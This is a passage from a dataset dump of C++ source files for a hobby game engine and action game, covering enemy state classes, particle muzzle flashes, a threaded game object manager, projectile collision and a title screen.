"text": "#pragma once\n#include \"IEnemyState.h\"\n\nclass EnemyExplosionKamikazeState final : public IEnemyState\n{\npublic:\n\tEnemyExplosionKamikazeState();\n\t~EnemyExplosionKamikazeState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\t/// <summary>\n\t/// 移動関数。\n\t/// </summary>\n\tvoid Move(IEnemy* e);\nprivate:\n\tfloat\t\t\tm_bombTimer = 0;\t\t\t\t\t\t//爆発までの時間計測。\n};\n"
},
{
"alpha_fraction": 0.6984127163887024,
"alphanum_fraction": 0.6984127163887024,
"avg_line_length": 10.875,
"blob_id": "a97eab28ee36169c8b40fce7bee671a79980e2a3",
"content_id": "42a52bb7bad884903b38e0d983cc798abe4f0703",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 189,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 16,
"path": "/UsualEngineR/Graphics/Light/LightDirection.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"LightDirection.h\"\n\n\nnamespace UER\n{\n\tLightDirection::LightDirection()\n\t{\n\t}\n\tLightDirection::~LightDirection()\n\t{\n\t}\n\tvoid LightDirection::Update()\n\t{\n\t}\n}"
},
{
"alpha_fraction": 0.7564102411270142,
"alphanum_fraction": 0.7564102411270142,
"avg_line_length": 21.285715103149414,
"blob_id": "7005d0f59dfd088b3f04561d4ea037c0ecd3ab29",
"content_id": "5ad2b5cb02969d48f99d4b238970edf94e20daf1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 312,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 14,
"path": "/Game/Enemy/State/MiddleBombState/BossBombFlyingState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass BossBombFlyingState final : public IEnemyState\n{\npublic:\n\tBossBombFlyingState();\n\t~BossBombFlyingState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n};\n"
},
{
"alpha_fraction": 0.6807410717010498,
"alphanum_fraction": 0.6876346468925476,
"avg_line_length": 17.396825790405273,
"blob_id": "4521c0f6713e583735197aa9440228b28cbbea30",
"content_id": "959a845fe6259733af77cc2540c67e24c0b4ce8d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2321,
"license_type": "no_license",
"max_line_length": 117,
"num_lines": 126,
"path": "/Game/Effect/MuzzleFlash.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"MuzzleFlash.h\"\n\n\nMuzzleFlash::MuzzleFlash()\n{\n\n}\n\nMuzzleFlash::~MuzzleFlash()\n{\n\n}\n\n\n\nvoid MuzzleFlash::Release()\n{\n\tDeleteGO(m_effect);\n}\n\nvoid MuzzleFlash::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid MuzzleFlash::Init(const MuzzleFlashEffectInitData& mfid)\n{\n\tRelease();\n\n\tm_particleLifeTime = mfid.particleLifeTime;\n\tm_particleScale = mfid.particleScale;\n\tm_particleColor = mfid.particleColor;\n\tm_particleEndColor = mfid.particleEndColor;\n\n\tm_circleNum = mfid.circleNum;\n\tm_circleStrokeNum = mfid.circleStrokeNum;\n\tm_circleSize = mfid.circleSize;\n\tm_velocity = mfid.velocity;\n\n\tPlaneParticleEffectInitData pid;\n\tpid.m_ddsFilePath = L\"Assets/Image/illumination.dds\";\n\tpid.m_height = 10;\n\tpid.m_width = 10;\n\t//pid.m_extendDataSize = sizeof(ParticleData);\n\tpid.m_isBillboard = true;\n\n\tPlaneParticleUpdater m_effctUpdater(\n\t\t[&]PLANE_PARTICLE_GENERATE_FUNC(pThis, deltaTime)\n\t{\n\t\t{\n\t\t\tfloat rotRad = Math::PI2 / m_circleNum;\n\t\t\tfloat stNum = static_cast<float>(m_circleStrokeNum - 1);\n\n\t\t\tfor (int i = 0; i < m_circleNum; i++)\n\t\t\t{\n\t\t\t\tVector3 pos = { m_circleSize,0.f,0.f };\n\t\t\t\tQuaternion rot;\n\t\t\t\trot.SetRotationY(rotRad * i);\n\t\t\t\trot.Apply(pos);\n\t\t\t\tVector3 velo = m_velocity;\n\t\t\t\trot.Apply(velo);\n\t\t\t\tfor (int j = 0; j < m_circleStrokeNum; j++)\n\t\t\t\t{\n\t\t\t\t\tpos += velo;\n\t\t\t\t\t\n\t\t\t\t\tfloat lifeTime = m_particleLifeTime * (stNum -j) / stNum;\n\t\t\t\t\tpThis->AddParticle(pos, g_vec3One * m_particleScale, g_quatIdentity, m_particleColor, lifeTime, nullptr, false);\n\t\t\t\t}\n\t\t\t}\n\t\t\tm_isPlay = false;\n\t\t\tpThis->SetGenerateFlag(false);\n\t\t}\n\n\t},\n\t\t[&]PLANE_PARTICLE_UPDATE_FUNC(data, deltaTime, extendData)\n\t{\n\t\t//data.particleData.mulColor.w = Math::Lerp(data.lifeTime/m_particleLifeTime, 0.f, 1.f);\n\t\tdata.particleData.mulColor.Lerp(data.lifeTime / m_particleLifeTime, m_particleEndColor, m_particleColor);\n\t});\n\tpid.m_updater = &m_effctUpdater;\n\tm_effect = NewGO<PlaneParticleEffectRender>(0);\n\tm_effect->Init(pid);\n\n\tm_effect->SetGenerateFlag(false);\n}\n\n\nvoid MuzzleFlash::Awake()\n{\n\n}\n\nbool MuzzleFlash::Start()\n{\n\treturn true;\n}\n\n\nvoid MuzzleFlash::PreUpdate()\n{\n\n}\n\nvoid MuzzleFlash::Update()\n{\n\n}\n\nvoid MuzzleFlash::PostUpdate()\n{\n\n}\n\nvoid MuzzleFlash::Play()\n{\n\tm_isPlay = true;\n\tm_effect->SetGenerateFlag(true);\n}\n\nvoid MuzzleFlash::Stop()\n{\n\tm_isPlay = false;\n\tm_effect->SetGenerateFlag(false);\n}\n\n\n\n"
},
{
"alpha_fraction": 0.6125645637512207,
"alphanum_fraction": 0.615146279335022,
"avg_line_length": 16.19230842590332,
"blob_id": "807b05618f3a4407f69cb86cd8b20e989d2c2db1",
"content_id": "86788a2ef2e128652aeff34c7365a94738e85b17",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5826,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 338,
"path": "/UsualEngineR/GameObject/GameObjectManager.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"GameObjectManager.h\"\n\n#include \"util/Util.h\"\n\n#include \"Debug/Debug.h\"\n\nnamespace UER\n{\n\tLock<GameObjectManager> g_lockGameObjectManager = Lock<GameObjectManager>(nullptr);\n\tstd::mutex GameObjectManager::m_newGOPush_Mutex;\n\n\tGameObjectManager::GameObjectManager()\n\t{\n\t\tm_newGOBuffer.reserve(16);\n\t\tg_lockGameObjectManager.Set(this);\n\t}\n\n\tGameObjectManager::~GameObjectManager()\n\t{\n\t\tRelease();\n\t}\n\n\tvoid GameObjectManager::Release()\n\t{\n\t\tm_isReleaseProcess = true;\n\n\t\tfor (auto& golist : m_gameObjectList)\n\t\t{\n\t\t\tfor (auto go : golist)\n\t\t\t{\n\t\t\t\tif (go->IsCreatedInGameObjedtManager())\n\t\t\t\t{\n\t\t\t\t\tgo->Release();\n\t\t\t\t\tdelete go;\n\t\t\t\t}\n\t\t\t}\n\t\t\tgolist.clear();\n\t\t}\n\t\t\n\t\tfor (auto go : m_trashBox)\n\t\t{\n\t\t\tgo->Release();\n\t\t\tdelete go;\n\t\t}\n\t\tm_trashBox.clear();\n\t}\n\n\tvoid GameObjectManager::Update()\n\t{\n\t\tUpdateStart();\n\t\t//Stopwatch sw;\n\t\t//sw.Start();\n\t\tUpdateUpdate();\n\n\t\tUpdateDeadProcess();\n\n\t\tg_graphicsEngine->GetLightManager().Update();\n\t\t/*auto t = sw.Stop();\n\t\tchar str[255] = { 0 };\n\t\tsprintf(str, \"%.3f\\n\", t);\n\t\tOutputDebugString(str);*/\n\t\tauto& rc = g_graphicsEngine->GetRenderContext();\n\n\t\tUpdatePreRender();\n\n\t\tg_graphicsEngine->GetShadowMap().Update();\n\t\tg_graphicsEngine->GetShadowMap().Render(rc);\n\n\t\tauto& preRender = g_graphicsEngine->GetPreRender();\n\t\tauto& gbuff = preRender.GetGBuffer();\n\t\tgbuff.BegineRender(rc);\n\t\tUpdateRender();\n\t\tgbuff.EndRender(rc);\n\t\t\n\t\tpreRender.LightingRender(rc);\n\n\n\t\tUpdatePrePostRender();\n\t\t\n\t\tRenderingSituation::Set(ERenderSituation::PostRender);\n\n\t\tUpdatePostRender();\n\t\t\n\t\tif(Debug::Instance().debugState.isPhysicsDebugDraw)\n\t\t\tPhysics().DebugDraw();\n\n\t\tg_graphicsEngine->RenderPostEffect();\n\n\t\tDebug::Instance().DrawLog();\n\n\t\t//g_graphicsEngine->GetShadowMap().ClearModelList();\n\n\t\tfor (auto& ngd : m_newGOBuffer)\n\t\t{\n\t\t\tm_gameObjectList[ngd.prio].push_back(ngd.go);\n\t\t}\n\t\tm_newGOBuffer.clear();\n\t}\n\n\tvoid GameObjectManager::UpdateStart()\n\t{\n\t\tfor (auto& goList : m_gameObjectList)\n\t\t{\n\t\t\tfor (auto go : goList)\n\t\t\t{\n\t\t\t\tif (go->GetThreadingFunction() & GameObject::tf_Start)\n\t\t\t\t{\n\t\t\t\t\tAddThread(go, &GameObject::WrapStart);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tgo->WrapStart();\n\t\t\t\t}\n\n\n\t\t\t\tif (!go->IsStart() && !go->IsDead())\n\t\t\t\t{\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tReleaseThread();\n\t\t\n\t}\n\n\tvoid GameObjectManager::DeleteGameObject(GameObject* go)\n\t{\n\t\tif (go == nullptr || m_isReleaseProcess)\n\t\t\treturn;\n\t\tgo->OnDestroy();\n\t\tgo->DoneDead();\n\t}\n\n\tvoid GameObjectManager::UpdateUpdate()\n\t{\n\t\tint Count = 0;\n\t\tfor (auto& goList : m_gameObjectList)\n\t\t{\n\t\t\tfor (auto go : goList)\n\t\t\t{\n\t\t\t\tif (go->GetThreadingFunction() & GameObject::tf_PreUpdate)\n\t\t\t\t{\n\t\t\t\t\tAddThread(go, &GameObject::WrapPreUpdate);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tgo->WrapPreUpdate();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tReleaseThread();\n\n\n\t\tfor (auto& goList : m_gameObjectList)\n\t\t{\n\t\t\tfor (auto go : goList)\n\t\t\t{\n\t\t\t\tif (go->GetThreadingFunction() & GameObject::tf_Update)\n\t\t\t\t{\n\t\t\t\t\tAddThread(go, &GameObject::WrapUpdate);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tgo->WrapUpdate();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}\n\n\t\tReleaseThread();\n\n\n\t\tfor (auto& goList : m_gameObjectList)\n\t\t{\n\t\t\tfor (auto go : goList)\n\t\t\t{\n\t\t\t\tif (go->GetThreadingFunction() & GameObject::tf_PostUpdate)\n\t\t\t\t{\n\t\t\t\t\tAddThread(go, &GameObject::WrapPostUpdate);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tgo->WrapPostUpdate();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tReleaseThread();\n\n\t\t\n\t\t\n\t}\n\n\tvoid GameObjectManager::UpdatePreRender()\n\t{\n\t\tfor (auto& goList : m_gameObjectList)\n\t\t{\n\t\t\tfor (auto go : goList)\n\t\t\t{\n\t\t\t\tgo->WrapPreRender();\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid GameObjectManager::UpdateRender()\n\t{\n\t\tfor (auto& goList : m_gameObjectList)\n\t\t{\n\t\t\tfor (auto go : goList)\n\t\t\t{\n\t\t\t\tgo->WrapRender();\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid GameObjectManager::UpdatePrePostRender()\n\t{\n\t\tfor (auto& goList : m_gameObjectList)\n\t\t{\n\t\t\tfor (auto go : goList)\n\t\t\t{\n\t\t\t\tgo->WrapPrePostRender();\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid GameObjectManager::UpdatePostRender()\n\t{\n\t\tfor (auto& goList : m_gameObjectList)\n\t\t{\n\t\t\tfor (auto go : goList)\n\t\t\t{\n\t\t\t\tgo->WrapPostRender();\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid GameObjectManager::UpdateDeadProcess()\n\t{\n\t\tint Count = 0;\n\t\t//死んだ奴の処理。\n\t\tfor (auto& goList : m_gameObjectList)\n\t\t{\n\t\t\tfor (auto go : goList)\n\t\t\t{\n\t\t\t\tif (go->IsDead())\n\t\t\t\t{\n\t\t\t\t\tDeadData dd;\n\t\t\t\t\tdd.ind = Count;\n\t\t\t\t\tdd.prio = go->GetPrio();\n\t\t\t\t\tm_ddList.push_back(dd);\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\tCount++;\n\t\t\t}\n\t\t\tCount = 0;\n\t\t}\n\t\tCount = 0;\n\t\tint nowprio = 0;\n\t\tfor (auto& dd : m_ddList)\n\t\t{\n\t\t\tif (nowprio != dd.prio)\n\t\t\t{\n\t\t\t\tCount = 0;\n\t\t\t\tnowprio = dd.prio;\n\t\t\t}\n\t\t\tGameObject* go = m_gameObjectList[dd.prio][dd.ind - Count];\n\t\t\tauto it = std::find(m_gameObjectList[dd.prio].begin(), m_gameObjectList[dd.prio].end(), go);\n\t\t\tm_gameObjectList[dd.prio].erase(it);\n\t\t\tif (go->IsCreatedInGameObjedtManager())\n\t\t\t{\n\t\t\t\tif (go->IsTrashTake())\n\t\t\t\t\tm_trashBox.push_back(go);\n\t\t\t\telse\n\t\t\t\t\tdelete go;\n\t\t\t}\n\t\t\tCount++;\n\n\t\t}\n\t\tm_ddList.clear();\n\t}\n\n\tvoid GameObjectManager::AddReserved(int prio, int add)\n\t{\n\t\tm_gameObjectList[prio].reserve(m_gameObjectList[prio].capacity() + add);\n\t}\n\tint GameObjectManager::Capacity(int prio)\n\t{\n\t\tint cap = m_gameObjectList[prio].capacity();\n\t\tcap -= m_checkInCountList[prio];\n\t\treturn cap;\n\t}\n\tvoid GameObjectManager::CapacityShrink2Fit(int prio)\n\t{\n\t\tm_checkInCountList[prio] = 0;\n\t\tm_gameObjectList[prio].shrink_to_fit();\n\t}\n\tvoid GameObjectManager::CheckIN(int prio, int count)\n\t{\n\t\tm_checkInCountList[prio] += count;\n\t}\n\n\n\tvoid GameObjectManager::AddThread(GameObject* obj, void(GameObject::* func)(void))\n\t{\n\t\tThreadObject* thread = nullptr;\n\t\tfor (auto th : m_threadList)\n\t\t{\n\t\t\tif (th->IsEnd())\n\t\t\t{\n\t\t\t\tth->Release();\n\t\t\t\tthread = th;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (thread == nullptr)\n\t\t{\n\t\t\tthread = new ThreadObject();\n\t\t\tm_threadList.push_back(thread);\n\t\t}\n\n\t\tthread->Execute([obj,func]()\n\t\t\t{\n\t\t\t\t(obj->*func)();\n\t\t\t});\n\t}\n\n\tvoid GameObjectManager::ReleaseThread()\n\t{\n\t\tfor (auto th : m_threadList)\n\t\t{\n\t\t\tth->Release();\n\t\t}\n\t}\n}"
},
{
"alpha_fraction": 0.6612545847892761,
"alphanum_fraction": 0.6698154807090759,
"avg_line_length": 19.406625747680664,
"blob_id": "14fd0fbf4258902541922449f9c1d5a3cd237cb7",
"content_id": "1c0306b641553c7b70f7c519ba51d719430e68c2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 6775,
"license_type": "no_license",
"max_line_length": 124,
"num_lines": 332,
"path": "/Game/Player/Attack/Projectile.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Projectile.h\"\n#include \"../../Enemy/EnemyManager.h\"\n//#include \"../../Enemy/Equipment/Enemy_Bullet.h\"\n\nPlayerBulletManager* g_playerBulletManager = 0;\n\nstruct ProjectileSweepResult : public btCollisionWorld::ConvexResultCallback\n{\n\tbool isHit = false;\n\tVector3 hitPos = Vector3::Zero;\n\tconst Vector3& startPos;\n\tfloat dist = FLT_MAX;\n\tint collAttr = enCollisionAttr_None;\n\n\tProjectileSweepResult(const Vector3& v) :\n\t\tstartPos(v)\n\t{\n\t}\n\n\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t{\n\t\tint index = convexResult.m_hitCollisionObject->getUserIndex();\n\t\t\n\t\tif (!(index & enCollisionAttr_Character\n\t\t\t|| index & enCollisionAttr_Ground\n\t\t\t|| index & GameCollisionAttribute::BombShield)\n\t\t\t)\n\t\t{\n\t\t\treturn 0.f;\n\t\t}\n\t\t\n\n\t\tisHit = true;\n\t\tVector3 hitp = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\tVector3 div = startPos - hitp;\n\t\tfloat dis = div.Length();\n\t\tif (dis < dist)\n\t\t{\n\t\t\thitPos = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\t\tdist = dis;\n\t\t\tif(index != -1)\n\t\t\t\tcollAttr = index;\n\t\t}\n\t\treturn 0.0f;\n\t}\n};\n\n\nProjectile::Projectile()\n{\n\t/*ModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test_criss.tkm\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\tm_model->SetPosition(m_position);*/\n}\n\nProjectile::~Projectile()\n{\n\n}\n\n\n\nvoid Projectile::Release()\n{\n\t//DeleteGO(m_model);\n}\n\nvoid Projectile::OnDestroy()\n{\n\tm_sphere.Release();\n\t//m_model->SetActive(false);\n\tg_playerBulletManager->DeadInstance(m_instanceNum);\n}\n\n\nvoid Projectile::Awake()\n{\n\n}\n\nvoid Projectile::Init(const Vector3& pos, float scale, const Vector3& dir, float speed, float timeLimit, float attackRenge){\n\tm_dir = dir;\n\tm_speed = speed;\n\tm_scale = scale;\n\tm_lifeSpanSec = timeLimit;\n\tm_range = attackRenge;\n\n\tQuaternion rot;\n\trot.SetRotation(Vector3::AxisZ, m_dir);\n\n\t{\n\t\tauto pair = g_playerBulletManager->GetInstanceMatrix();\n\t\tm_instanceNum = pair.first;\n\t\tm_worldMatrix = pair.second;\n\n\t\tm_pos = pos;\n\t\tm_sca = Vector3::One * scale;\n\t\tm_rot = rot;\n\n\t\tm_worldMatrix->MakeTransform(m_pos, m_sca, m_rot);\n\t}\n\n\t/*m_model->SetActive(true);\n\tm_model->SetPosition(pos);\n\tm_model->SetRotation(rot);\n\tm_model->SetScale(Vector3::One * m_scale);*/\n\n\tm_sphere.Create(scale * 0.5);\n\n\tm_lifeTimerSec = 0.f;\n\trot.SetRotation(Vector3::AxisY, m_dir * -1.f);\n}\n\nbool Projectile::Start()\n{\n\treturn true;\n}\n\n\nvoid Projectile::PreUpdate()\n{\n\n}\n\nvoid Projectile::Update()\n{\n\tauto delta = gameTime()->GetDeltaTime();\n\tm_lifeTimerSec += delta;\n\t//m_position += m_velocity * m_speed * delta;\n\t//m_model->SetPosition(m_position);\n\n\t//for (int i = 0; i < EnemyManager::GetEnemyManager().GetEnemies().size(); i++) {\n\t//\tauto& epos = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition();\n\t//\tif ((m_position - epos).Length() < m_range) {\n\t//\t\tEnemyManager::GetEnemyManager().GetEnemies().at(i)->ApplyDamage(m_damage);\n\t//\t}\n\t//}\n\t//\n\t//if (m_lifeTimerSec >= m_lifeSpanSec) {\n\t//\tauto obj = reinterpret_cast<GameObject*>(this);\n\t//\tDeleteGO(obj);\n\t//}\n\n\t//\n\n\t//Vector3 oldpos = m_model->GetPosition();\n\tVector3 oldpos = m_pos;\n\tVector3 newpos = oldpos + m_dir * (m_speed * delta);\n\n\t//m_effect->SetPos(newpos);\n\n\tbtTransform start, end;\n\tstart.setIdentity();\n\tend.setIdentity();\n\tstart.setOrigin({ oldpos.x, oldpos.y, oldpos.z });\n\tend.setOrigin({ newpos.x, newpos.y, newpos.z });\n\tProjectileSweepResult cb(oldpos);\n\tPhysics().ConvexSweepTest(m_sphere.GetBody(), start, end, cb);\n\n\tif (cb.isHit)\n\t{\n\t\tif (cb.collAttr & GameCollisionAttribute::Enemy)\n\t\t{\n\t\t\tauto& enemyManager = EnemyManager::GetEnemyManager();\n\t\t\t//auto nearestEnemy = enemyManager.GetNearestEnemy(m_model->GetPosition());\n\t\t\tauto nearestEnemy = enemyManager.GetNearestEnemy(m_pos);\n\t\t\tnearestEnemy->ApplyDamage(m_damage);\n\t\t}\n\t\tif (!(cb.collAttr & GameCollisionAttribute::Player)) {\n\t\t\tauto pthis = this;\n\t\t\tDeleteGO(pthis);\n\t\t\treturn;\n\t\t}\n\t}\n\n\tif (m_lifeTimerSec >= m_lifeSpanSec)\n\t{\n\t\tauto pthis = this;\n\t\tDeleteGO(pthis);\n\t\treturn;\n\t}\n\n\tm_position = newpos;\n\tm_pos = newpos;\n\t//m_model->SetPosition(newpos);\n\n\tm_worldMatrix->SetTranspose(m_pos);\n}\n\nvoid Projectile::PostUpdate()\n{\n\n}\n\n\n\n////////////////////////////////\n//PlayerBulletManager\n////////////////////////////////\n\nPlayerBulletManager* PlayerBulletManager::GetInstance()\n{\n\tif (g_playerBulletManager == nullptr)\n\t{\n\t\treturn NewGO<PlayerBulletManager>(0);\n\t}\n\treturn g_playerBulletManager;\n}\n\nvoid PlayerBulletManager::Release()\n{\n}\n\nvoid PlayerBulletManager::OnDestroy()\n{\n\tRelease();\n}\n\nvoid PlayerBulletManager::Awake()\n{\n\tm_structuredBuff.Init(sizeof(Matrix), 1024, 0);\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/bullet/bullet.tkm\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimInstancingModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_expandShaderResoruceView = &m_structuredBuff;\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\n\tm_model->SetInstancingFrag(true);\n\tg_playerBulletManager = this;\n\n\tm_instanceMatrix.resize(1024);\n\tm_usingMatrix.resize(1024);\n\tfor (int i = 0; i < m_usingMatrix.size(); i++)\n\t{\n\t\tm_usingMatrix[i] = false;\n\t}\n}\n\nvoid PlayerBulletManager::PostUpdate()\n{\n\t/*int activeNum = 0;\n\tfor (auto b : m_bulletList)\n\t{\n\t\tif (!b->IsDead())\n\t\t{\n\t\t\tactiveNum++;\n\t\t}\n\t}\n\tif ((m_bulletList.size() - activeNum) <= m_nextAllocateActiveNum && m_thread.IsEnd())\n\t{\n\t\tAllocate(m_allocElementNum);\n\t}*/\n\n\n\tstd::vector<Matrix> v;\n\n\tint c = 0;\n\tfor (bool b : m_usingMatrix)\n\t{\n\t\tif (b)\n\t\t\tc++;\n\t}\n\tv.reserve(1024);\n\tfor (int i = 0; i < m_instanceMatrix.size(); i++)\n\t{\n\t\tif (m_usingMatrix[i])\n\t\t{\n\t\t\tv.push_back(m_instanceMatrix[i]);\n\t\t}\n\t}\n\tif (c == 0)\n\t\tv.push_back(Matrix::Identity);\n\n\tm_structuredBuff.Update(&v[0]);\n\tm_model->SetInstanceNum(c);\n}\n\nvoid PlayerBulletManager::Allocate(int num)\n{\n\t//m_mutex.lock();\n\t//m_isAllocate = true;\n\t//m_oldNum = m_bulletList.size();\n\t//m_thread.Release();\n\n\t//m_thread.Execute([&, num]()\n\t//\t{\n\t//\t\t//AllocateGO(num, 0, m_bulletList);\n\t//\t});\n\n\t//m_mutex.unlock();\n\n}\n\nstd::pair<int, Matrix*> PlayerBulletManager::GetInstanceMatrix()\n{\n\tfor (int i = 0; i < m_instanceMatrix.size(); i++)\n\t{\n\t\tif (!m_usingMatrix[i])\n\t\t{\n\t\t\tm_usingMatrix[i] = true;\n\t\t\treturn std::make_pair(i, &m_instanceMatrix[i]);\n\t\t}\n\t}\n\n\tm_usingMatrix.push_back(true);\n\tm_instanceMatrix.push_back(Matrix::Identity);\n\n\treturn std::make_pair(m_instanceMatrix.size() - 1, &m_instanceMatrix[m_instanceMatrix.size() - 1]);\n}\n\nvoid PlayerBulletManager::AddInstance()\n{\n}\n\nvoid PlayerBulletManager::DeadInstance(int num)\n{\n\tm_usingMatrix[num] = false;\n}\n"
},
{
"alpha_fraction": 0.6232075095176697,
"alphanum_fraction": 0.6387011408805847,
"avg_line_length": 17.67076873779297,
"blob_id": "0a099def6e0929b2ef234f92ee609de23a04eb76",
"content_id": "00d9116ed2a44c520aa6d454f5d8bcf83a62cbaf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 6067,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 325,
"path": "/Game/Title.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Title.h\"\n#include \"Game.h\"\n#include \"Fade.h\"\n#include \"OpeningScene.h\"\n\nbool Title::m_seLoaded = false;\n\nTitle::Title()\n{\n\n}\n\nTitle::~Title()\n{\n\n}\n\n\n\nvoid Title::Release()\n{\n\tDeleteGO(m_backSprite);\n\tDeleteGO(m_forwardSprite);\n}\n\nvoid Title::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid Title::Awake()\n{\n\n}\n\nbool Title::Start()\n{\n\tif (!m_seLoaded) {\n\t\tm_seLoaded = true;\n\t\tLoadSoundSources();\n\t}\n\n\tFade::GetInstance().FadeIn();\n\n\tSpriteInitData sd;\n\tsd.m_ddsFilePath[0] = \"Assets/Image/titleBack.dds\";\n\tsd.m_width = 1280;\n\tsd.m_height = 720;\n\tm_backSprite = NewGO<SpriteRender>(0);\n\tm_backSprite->Init(sd);\n\tm_backSprite->SetPos(m_backSpPos);\n\n\tsd.m_ddsFilePath[0] = \"Assets/Image/powpoww.dds\";\n\tm_forwardSprite = NewGO<SpriteRender>(0);\n\tm_forwardSprite->Init(sd);\n\tm_forwardSprite->SetPos(m_backSpPos);\n\n\tg_graphicsEngine->GetPostEffect().GetBloom().SetStreekFrag(false);\n\treturn true;\n}\n\n\nvoid Title::PreUpdate()\n{\n}\n\nvoid Title::Update()\n{\n\tfloat dtime = gameTime()->GetDeltaTime();\n\tm_timer += dtime;\n\tif (m_isAddColor)\n\t{\n\t\tm_colorTimer += dtime;\n\t\tif (m_colorTimer >= m_colorTimer_max)\n\t\t{\n\t\t\tm_colorTimer = m_colorTimer_max;\n\t\t\tm_isAddColor = false;\n\t\t}\n\t}\n\telse\n\t{\n\t\tm_colorTimer -= dtime;\n\t\tif (m_colorTimer <= 0)\n\t\t{\n\t\t\tm_colorTimer = 0.f;\n\t\t\tm_isAddColor = true;\n\t\t}\n\t}\n\n\tif (g_pad[0]->IsTrigger(enButtonA) and !m_isTrigeredStart) {\n\t\tFade::GetInstance().FadeOut();\n\t\tm_isTrigeredStart = true;\n\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/system/Decisition_Title.wav\");\n\t\tse->Play(false);\n\t\tse->SetVolume(1.0f);\n\t}\n\n\tif (Fade::GetInstance().IsFaded() and m_isTrigeredStart) {\n\n\t\t//NewGO<Game>(0);\n\t\tNewGO<OpeningScene>(0);\n\t\tauto go = reinterpret_cast<GameObject*>(this);\n\t\tDeleteGO(go);\n\t\tg_graphicsEngine->GetPostEffect().GetBloom().SetStreekFrag(true);\n\t}\n\n}\n\nvoid Title::PostUpdate()\n{\n\tFade::GetInstance().Update();\n}\n\n\nvoid Title::Render()\n{\n\n}\n\nvoid Title::PostRender()\n{\n\tm_font.Begin();\n\n\tm_font.Draw(L\"Last of Iron\", { 80,300 }, { 1,1,1,1 }, 0, 1);\n\n\tfloat f = Math::Lerp(m_colorTimer / m_colorTimer_max, 1.f, 1.5f);\n\tm_font.Draw(L\"Push \\\"A\\\"\", { 50,-250 }, { f,f,f,1}, 0, 0.7);\n\n\tm_font.End();\n}\n\n\nvoid Title::LoadSoundSources() {\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Bash.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Big_NockDown.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Boss_Shout.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = 